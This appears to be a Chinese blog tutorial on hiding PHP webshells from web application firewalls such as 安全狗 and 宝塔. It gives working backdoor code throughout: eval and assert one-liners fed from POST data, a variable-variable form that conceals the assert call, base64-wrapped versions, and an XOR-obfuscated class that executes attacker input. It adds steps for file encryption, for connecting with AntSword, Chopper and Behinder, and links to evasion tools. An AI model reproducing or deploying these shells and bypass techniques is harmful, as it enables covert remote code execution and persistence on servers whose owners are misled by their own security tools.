WAF绕过-权限控制之代码混淆造轮子

WAF绕过-权限控制之代码混淆造轮子

askdlhjfoaisufioasdfgoias

1
2
3
4
5
6
7
平常的一句话;
<?php @eval($_POST['chopper']);?>

但是这样绝对会被拦截,所以可以找一个函数平替:
<?php assert($_POST['chopper']);?>

但是就算是用:assert替换之后还是会被检测出,并拦截

我这里是assert是可以绕过的,可能是版本太低的问题,但是高版本又是一堆问题

Snipaste_2022-06-01_18-33-44

变量覆盖

变量覆盖:简单来说就是覆盖原始变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$a=$_GET['x'];
$$a=$_GET['y'];
$b($_POST['z']);
?>

代码分析:
传参:?x=b&y=assert
因为上面这里进行了传参,所以这里$a=b,$$a=assert=$b
将这个代码拼接就是:assert($_POST['chopper']);

为什么会绕过?
首先是没有对这个b进行声明,所以安全软件在进行匹配的时候,代码追踪就追踪不到【原因】
【原理】:就是让这个$$a=$b,而这个$$a这个变量又是由我们所控制。所以这里可以达到绕过安全狗和代码可用

php $$ 两个 $是什么意思?

1
2
3
4
5
6
7
8
两个 $$  是 可变变量,就是一个变量的变量名可以动态的设置和使用

<?php
$a="hello";
$hello="world";
echo $a." ".$$a;
?>
//输出 hello,world;

Snipaste_2022-06-01_20-16-15

但是如果这个是在阿里云+宝塔+安全狗的环境下的话,就不行,虽然安全狗检测不出来,但是宝塔可以,因为这个传参的时候是有这个风险值phpinfo的

Snipaste_2022-06-02_04-48-21

可以采用一个加解密,使用base64,将这个做为一句话内容

1
2
3
4
5
<?php
$a=$_GET['x'];
$$a=$_GET['y'];
$b(base64_decode($_POST['z']));
?>

Snipaste_2022-06-02_04-51-08

传参的时候就用这个base64的加密值

Snipaste_2022-06-02_04-51-48

成功执行

加密混淆

1
2
3
4
<?php assert($_POST['chopper']);?>
用base64
<?php assert(base64_decode($_POST['chopper']));?>
//这里为什么要用base64加密?因为上面有说过宝塔有关键字检测,所以必须要加密

将这个写到

Snipaste_2022-06-02_05-18-19

Snipaste_2022-06-02_05-17-56

Snipaste_2022-06-02_05-28-55

1
2
F:\phpstudy\phpStudy_64\phpstudy_pro\Extensions\php\php5.4.45nts\php.exe code_test.php
//作用:加密code_test中的文件

执行上面的语句,这里的路径按照自己的路径来

它会将加密之后的结果放到下面这个目录里面

Snipaste_2022-06-02_05-30-09

Snipaste_2022-06-02_05-31-19

在encoded的目录下查看test.php

Snipaste_2022-06-02_05-32-29

已经被加密了

Snipaste_2022-06-02_05-37-48

安全狗没有拦截

Snipaste_2022-06-02_05-48-40

直接默认设置,输入验证码导出就行

Snipaste_2022-06-02_05-55-27

安全狗没有拦截

Snipaste_2022-06-02_05-56-47

可以执行

Snipaste_2022-06-02_05-59-01

异或生成

Snipaste_2022-06-02_06-03-31

只需要运行对应脚本语言中的py文件就OK了,运行之后是下面这个结果,你每次运行的结果都不一样,下面这个就是免杀代码

1
2
3
4
5
6
7
8
9
10
<?php
class YOSL{
function __destruct(){
$HGYO='ia!b}N'^"\x8\x12\x52\x7\xf\x3a";
return @$HGYO("$this->QKED");
}
}
$yosl=new YOSL();
@$yosl->QKED=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];
?>

Snipaste_2022-06-02_06-07-51

安全狗没有拦截

脚本原理:利用的是反序列化+异或

使用就是直接连接就行:

Snipaste_2022-06-02_06-12-51

Snipaste_2022-06-02_06-12-30

这里是不用base64加密传输的

如果是要采用base64加密的话,就需要有一个id,这里没有id这个值的话,随便给一个

Snipaste_2022-06-02_06-14-08

之前是测试代码有没有被成功执行,现在要测试后门是不是可以被工具连接

Snipaste_2022-06-02_06-22-51

像蚁剑和菜刀都只可以用原型代码去连接,就如上面这种,网上也有蚁剑插件版的:https://github.com/yzddmr6/as_webshell_venom

如果你是用base64的方式去传输,那么蚁剑最开始也没有加密解密,那么当然就识别不了

Snipaste_2022-06-02_06-31-38

蚁剑这款工具自带编码器和解码器

1
2
3
4
菜刀,蚁剑,冰蝎优缺点
菜刀:未更新状态,无插件,单向加密传输
蚁剑:更新状态,有插件,拓展性强,单向加密传输
冰蝎:更新状态,未知插件,双向加密传输

什么是双向加密传输?

简单来说就是发送数据的时候,加密了,对方返回的代码也加密了,这样做的意义?一些WAF产品会检测你返回之后的结果的敏感程度,从而进行拦截,那么如果是双向加密的话,返回的结果对方无法获取到信息,从而绕过

菜刀

测试连接之后,传输的数据结果

Snipaste_2022-06-02_06-50-37

可以看到这个结果和,菜刀的界面是一样的,那么这种就叫做单向加密传输,也就是发包的时候是加密的

双重加密:

Snipaste_2022-06-02_13-54-24

两边都是加密值

注意事项:上传的后门的文件名,不要是敏感词

虽然我可以上传后门,但是我想要访问文件管理的时候,就被拦截,原因是WAF识别了冰蝎的指纹

冰蝎魔改:

1
2
https://www.freebuf.com/articles/web/263738.html
https://www.freebuf.com/articles/web/263741.html

那么上面用的工具都有各种问题,就可以尝试自己写代码【个人理解就是 “ 代码执行 “ 】,去实现文件查看

涉及资源

1
2
3
4
5
6
蚁剑;https://github.com/AntSwordProject/antSword/releases
冰蝎:https://github.com/rebeyond/Behinder/releases/
https://github.com/djunny/enphp
https://github.com/naxg/webshell-venom
https://www.phpjiami.com/phpjiami.html
https://github.com/yzddmr6/as_webshell_venom